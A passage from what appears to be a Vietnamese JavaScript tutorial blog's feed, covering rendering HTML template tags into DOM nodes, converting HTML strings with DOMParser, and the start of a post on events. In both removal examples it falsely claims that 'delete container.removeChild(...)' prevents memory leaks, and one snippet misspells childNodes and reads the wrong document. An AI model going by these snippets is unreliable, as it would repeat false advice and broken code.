attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>comment<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>a comment<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>template</span><span class="token punctuation">></span></span></code></pre></div> <p>Trong đó, thẻ template có <strong>id="my-temp"</strong>, để sử dụng trong JavaScript sau này. Bên trong thẻ, sẽ là một đoạn code HTML - có cấu trúc khá rõ ràng, với một phần text là <strong>name</strong>, và phần còn lại là <strong>comment</strong> (phần này mô phỏng lại việc render mục bình luận trên một bài viết).</p> <h2 id="chuyển-html-template-sang-dom-node-với-javascript" style="position:relative;"><a href="#chuy%E1%BB%83n-html-template-sang-dom-node-v%E1%BB%9Bi-javascript" aria-label="chuyển html template sang dom node với javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển HTML Template sang DOM Node với JavaScript</h2> <h3 id="kiểm-tra-trình-duyệt-hỗ-trợ-template-hay-không" style="position:relative;"><a href="#ki%E1%BB%83m-tra-tr%C3%ACnh-duy%E1%BB%87t-h%E1%BB%97-tr%E1%BB%A3-template-hay-kh%C3%B4ng" aria-label="kiểm tra trình duyệt hỗ trợ template hay không permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra trình duyệt hỗ trợ Template hay không?</h3> <p>Trước khi sử dụng template, bạn cần kiểm tra xem trình duyệt của mình có hỗ trợ template hay không.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Check whether browser supports template</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token string">"content"</span> <span class="token keyword">in</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"template"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Support Template"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Not Support Template"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Template có một thuộc tính quan trọng là <strong>content</strong>. Khi bạn tạo mới một template sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">createElement</a>, thì phần tử đó phải tồn tại thuộc tính content. Nghĩa là trình duyệt có hỗ trợ template, ngược lại thì không hỗ trợ.</p> <p>Khi trình duyệt có hỗ trợ template rồi. Bạn có thể tiếp tục với bước sau.</p> <h3 id="lấy-nội-dung-của-html-template" style="position:relative;"><a href="#l%E1%BA%A5y-n%E1%BB%99i-dung-c%E1%BB%A7a-html-template" aria-label="lấy nội dung của html template permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy nội dung của HTML Template</h3> <p>HTML template đã có sẵn ID. Vì vậy, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">querySelector</a> (hoặc <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById">getElementById</a>) để lấy ra phần tử <a href="/co-ban-ve-dom-javascript/">DOM</a> của template đó, đồng thời trích xuất ra content - dạng <a href="https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment">DocumentFragment</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> templateFrag <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#my-temp"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>content<span class="token punctuation">;</span></code></pre></div> <p>DocumentFragment là một dạng document tối giản - không có parent. Vì vậy, bạn có thể trực tiếp thêm nó vào giao diện HTML của mình.</p> <h3 id="render-html-template-lên-giao-diện" style="position:relative;"><a href="#render-html-template-l%C3%AAn-giao-di%E1%BB%87n" aria-label="render html template lên giao diện permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Render HTML Template lên giao diện</h3> <p>Trong bước này, mình muốn mô phỏng lại việc render các bình luận trên một bài viết. Nội dung các bình luận là một <a href="/array-la-gi-array-trong-javascript/">mảng</a> của các <a href="/object-la-gi-object-trong-javascript/">object</a> - bao gồm 2 thuộc tính là name và comment.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"That is great"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"It's helpful"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"Thanks a lot"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Khi người dùng nhấn vào button <strong>Add</strong>, mình sẽ sử dụng phương thức <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a> để duyệt mảng trên. Với mỗi phần tử của mảng, ta <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser">clone</a> lại template DocumentFragment trên để dùng lại sau này.</p> <p>Tiếp theo, để apply nội dung của bình luận vào template, bạn có thể tiếp tục sử dụng phương thức querySelector để thay đổi nội dung trong span với class là name, content tương ứng với nội dung trong mảng, rồi thêm nó vào bên trong thẻ div với <strong>id="container"</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">btnAdd<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> data<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> tmpl <span class="token operator">=</span> templateFrag<span class="token punctuation">.</span><span class="token function">cloneNode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> tmpl<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> item<span class="token punctuation">.</span>name<span class="token punctuation">;</span> tmpl<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".comment"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> item<span class="token punctuation">.</span>comment<span class="token punctuation">;</span> container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng, để xóa đi các thành phần <a href="/co-ban-ve-dom-javascript/">DOM</a> mới thêm vào. Bạn có thể sử dụng vòng lặp, liên tục xóa đi phần tử con đầu tiên của container, cho đến khi container không còn node con nào nữa là hoàn thành nhiệm vụ.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">btnRm<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>container<span class="token punctuation">.</span>firstChild<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">delete</span> container<span class="token punctuation">.</span><span class="token function">removeChild</span><span class="token punctuation">(</span>container<span class="token punctuation">.</span>firstChild<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> Nhắc lại đối với các bạn chưa đọc bài viết trước của mình, nếu bạn chỉ sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser">removeChild</a> mà không delete thì sẽ dẫn đến leak memory.</p> </blockquote> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây, mình đã giới thiệu với các bạn cách chuyển HTML Template sang DOM Node, đồng thời thay đổi nội dung của template ứng với data - lưu trong JavaScript. Hy vọng với phương pháp này, bạn có thể áp dụng template cho các project của mình. Bài viết sau, mình sẽ giới thiệu với các bạn một thư viện rất hay - chuyên dùng để render HTML template.</p> <p>Hẹn gặp lại bạn ở <a href="/mustache-template-voi-jquery/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[HTML String sang DOM Node với DOMParser]]><![CDATA[Khi lập trình Web nói chung và lập trình JavaScript nói riêng, nhiều khi bạn sẽ cần phải render thêm các thành phần trang web từ JavaScript. Và trong trường hợp thành phần HTML đó…]]>https://completejavascript.com/html-string-sang-dom-node-voi-domparser/https://completejavascript.com/html-string-sang-dom-node-voi-domparser/<![CDATA[DOM]]><![CDATA[Event]]><![CDATA[HTML]]><![CDATA[Template]]>Fri, 11 Aug 2017 00:00:54 GMT<p>Khi lập trình Web nói chung và <a href="/javascript/">lập trình JavaScript</a> nói riêng, nhiều khi bạn sẽ cần phải render thêm các thành phần trang web từ JavaScript. Và trong trường hợp thành phần HTML đó được lưu dưới dạng string, bạn có thể sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser">DOMParser</a> để chuyển HTML String sang DOM Node. Cách làm vô cùng đơn giản như sau.</p> <h2 id="cách-chuyển-html-string-sang-dom" style="position:relative;"><a href="#c%C3%A1ch-chuy%E1%BB%83n-html-string-sang-dom" aria-label="cách chuyển html string sang dom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách chuyển HTML String sang DOM</h2> <p><strong>Bước 1</strong>: Tạo mới một đối tượng của <strong>DOMParser</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> domParser <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DOMParser</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Bước 2</strong>: Sử dụng phương thức <strong>parseFromString</strong> của DOMParser.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> doc <span class="token operator">=</span> domParser<span class="token punctuation">.</span><span class="token function">parseFromString</span><span class="token punctuation">(</span><span class="token string">"&lt;div>Hello&lt;/div>"</span><span class="token punctuation">,</span> <span class="token string">"text/html"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>doc<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Kết quả trả về là một document &lt;html> &lt;head>&lt;/head> &lt;body> &lt;div>Hello&lt;/div> &lt;/body> &lt;/html> */</span></code></pre></div> <p>Trong hàm parseFromString, tham số đầu tiên là nội dung HTML <a href="/kieu-du-lieu-trong-javascript/">string</a> mà bạn muốn parse; và tham số tiếp theo là kiểu string.</p> <p>Có 3 kiểu string được support là: <strong>application/xml</strong>, <strong>image/svg+xml</strong> và <strong>text/html</strong>. Đối với bài toán này, bạn sẽ chọn kiểu text/html.</p> <p>Kết quả trả về sẽ là một <a href="/co-ban-ve-dom-javascript/"><strong>document</strong></a>, với đầy đủ các thẻ &#x3C;html>, &#x3C;head>, &#x3C;body> và các node được tạo ra từ string đầu vào như trên.</p> <p><strong>Bước 3</strong>: Lấy ra mảng các node mới được tạo ra</p> <p>Thực tế, thường bạn chỉ cần các node mới để chèn vào một file HTML có sẵn của riêng bạn. Khi đó bạn có thể làm như này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> nodes <span class="token operator">=</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>chidNodes<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>nodes<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => NodeList [div]</span></code></pre></div> <p>Đến đây, bạn sẽ thu được một <a href="/array-la-gi-array-trong-javascript/">mảng</a> các node - NodeList. Và bây giờ, bạn hoàn toàn tự do sử dụng NodeList này để chèn vào bất cứ đâu trên trang HTML.</p> <h2 id="chuyển-html-string-thành-dom-và-vẽ-lên-html" style="position:relative;"><a href="#chuy%E1%BB%83n-html-string-th%C3%A0nh-dom-v%C3%A0-v%E1%BA%BD-l%C3%AAn-html" aria-label="chuyển html string thành dom và vẽ lên html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển HTML String thành DOM và vẽ lên HTML</h2> <p>Sau đây là một ví dụ minh họa cho phần phía trên. Bạn nhấn vào button <strong>Add</strong> để chuyển HTML String thành DOM Node, sau đó vẽ lên giao diện. Sau đó, bạn có thể nhấn button <strong>Remove</strong> để xóa bỏ đi các node mới thêm vào vừa rồi.</p> <p><a href="https://codepen.io/completejavascript/pen/BrKrrJ"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/BrKrrJ/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="giao-diện-html" style="position:relative;"><a href="#giao-di%E1%BB%87n-html" aria-label="giao diện html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giao diện HTML</h3> <p>Trên giao diện ngoài 2 button Add và Remove, có một phần tử quan trọng là thẻ div với <strong>id="container"</strong>. Thẻ này được dùng làm container để chứa các node mới được parse từ JavaScript.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token operator">&lt;</span>div id<span class="token operator">=</span><span class="token string">"container"</span><span class="token operator">></span><span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span></code></pre></div> <h3 id="code-phần-javascript" style="position:relative;"><a href="#code-ph%E1%BA%A7n-javascript" aria-label="code phần javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code phần JavaScript</h3> <p>Ở đây, mình gộp cả 3 bước phía trên thành hàm getNodes:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">getNodes</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">DOMParser</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">parseFromString</span><span class="token punctuation">(</span>str<span class="token punctuation">,</span> <span class="token string">"text/html"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>body<span class="token punctuation">.</span>childNodes<span class="token punctuation">;</span></code></pre></div> <p>Bạn sử dụng hàm số này để lấy về mảng các node với đầu vào là một HTML string.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> nodes <span class="token operator">=</span> <span class="token function">getNodes</span><span class="token punctuation">(</span><span class="token string">"&lt;div>&lt;span>1&lt;/span>&lt;/div>&lt;div>&lt;span>2&lt;/span>&lt;/div>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, bạn thêm các node này vào HTML bằng cách nhấn button Add:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">btnAdd<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> nodes<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">node</span><span class="token punctuation">)</span> <span class="token operator">=></span> container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>node<span class="token punctuation">.</span><span class="token function">cloneNode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Vì nodes là kiểu mảng, nên mình sử dụng phương thức <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a> để duyệt. Mỗi phần tử node trong mảng sẽ được sao chép (<a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode">clone</a>) ra một node mới, để dùng lại sau này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">node<span class="token punctuation">.</span><span class="token function">cloneNode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, chèn node mới này vào node container sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild">Node.appendChild</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>node<span class="token punctuation">.</span><span class="token function">cloneNode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, để bỏ đi các node mới thêm vào, mình sẽ sử dụng một vòng lặp lấy ra <a href="https://developer.mozilla.org/en/docs/Web/API/Node/firstChild">Node.firstChild</a> của node container và <strong>delete</strong> nó đi, cho đến khi container không còn node con nữa là hoàn thành công việc.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">btnRm<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>container<span class="token punctuation">.</span>firstChild<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">delete</span> container<span class="token punctuation">.</span><span class="token function">removeChild</span><span class="token punctuation">(</span>container<span class="token punctuation">.</span>firstChild<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> Thông thường, bạn sẽ chỉ sử dụng hàm <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/removeChild">Node.removeChild()</a> mà không delete. Việc này sẽ dẫn đến leak memory.</p> </blockquote> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách làm đơn giản để chuyển HTML String sang DOM node và thêm chúng vào giao diện HTML. Tuy nhiên, cách làm này có một nhược điểm là khi cấu trúc của HTML string phức tạp, sẽ rất khó để bạn theo dõi. Vì vậy, bài viết sau mình sẽ giới thiệu với các bạn phương pháp sử dụng thẻ template trong HTML.</p> <p>Hẹn gặp lại bạn ở <a href="/chuyen-html-template-sang-dom-node/">bài viết tiếp theo</a>, thân ái!</p> <p><strong>Tham khảo</strong></p> <ul> <li><a href="https://davidwalsh.name/convert-html-stings-dom-nodes">Convert String to DOM Nodes</a></li> </ul>[email protected]<![CDATA[Xử lý một số Event JavaScript cơ bản]]><![CDATA[Đối với mỗi trang web, đặc biệt là những trang web có sự tương tác với người dùng, việc xử lý sự kiện chuột và bàn phím là không thể thiếu. Vì vậy, bài viết này mình sẽ giới thiệu…]]>https://completejavascript.com/xu-ly-mot-event-javascript-co-ban/https://completejavascript.com/xu-ly-mot-event-javascript-co-ban/<![CDATA[DOM]]><![CDATA[Event]]>Thu, 10 Aug 2017 00:25:12 GMT<p>Đối với mỗi trang web, đặc biệt là những trang web có sự tương tác với người dùng, việc xử lý sự kiện chuột và bàn phím là không thể thiếu. Vì vậy, bài viết này mình sẽ giới thiệu với bạn cách xử lý một số Event JavaScript cơ bản. Qua đó, bạn có thể tiếp tục tìm hiểu và làm chủ về JS event.</p> <h2 id="cách-đăng-ký-và-huỷ-đăng-ký-event-javascript" style="position:relative;"><a href="#c%C3%A1ch-%C4%91%C4%83ng-k%C3%BD-v%C3%A0-hu%E1%BB%B7-%C4%91%C4%83ng-k%C3%BD-event-javascript" aria-label="cách đăng ký và huỷ đăng ký event javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách đăng ký và huỷ đăng ký Event JavaScript</h2> <h3 id="đăng-ký-event-javascript" style="position:relative;"><a href="#%C4%91%C4%83ng-k%C3%BD-event-javascript" aria-label="đăng ký event javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 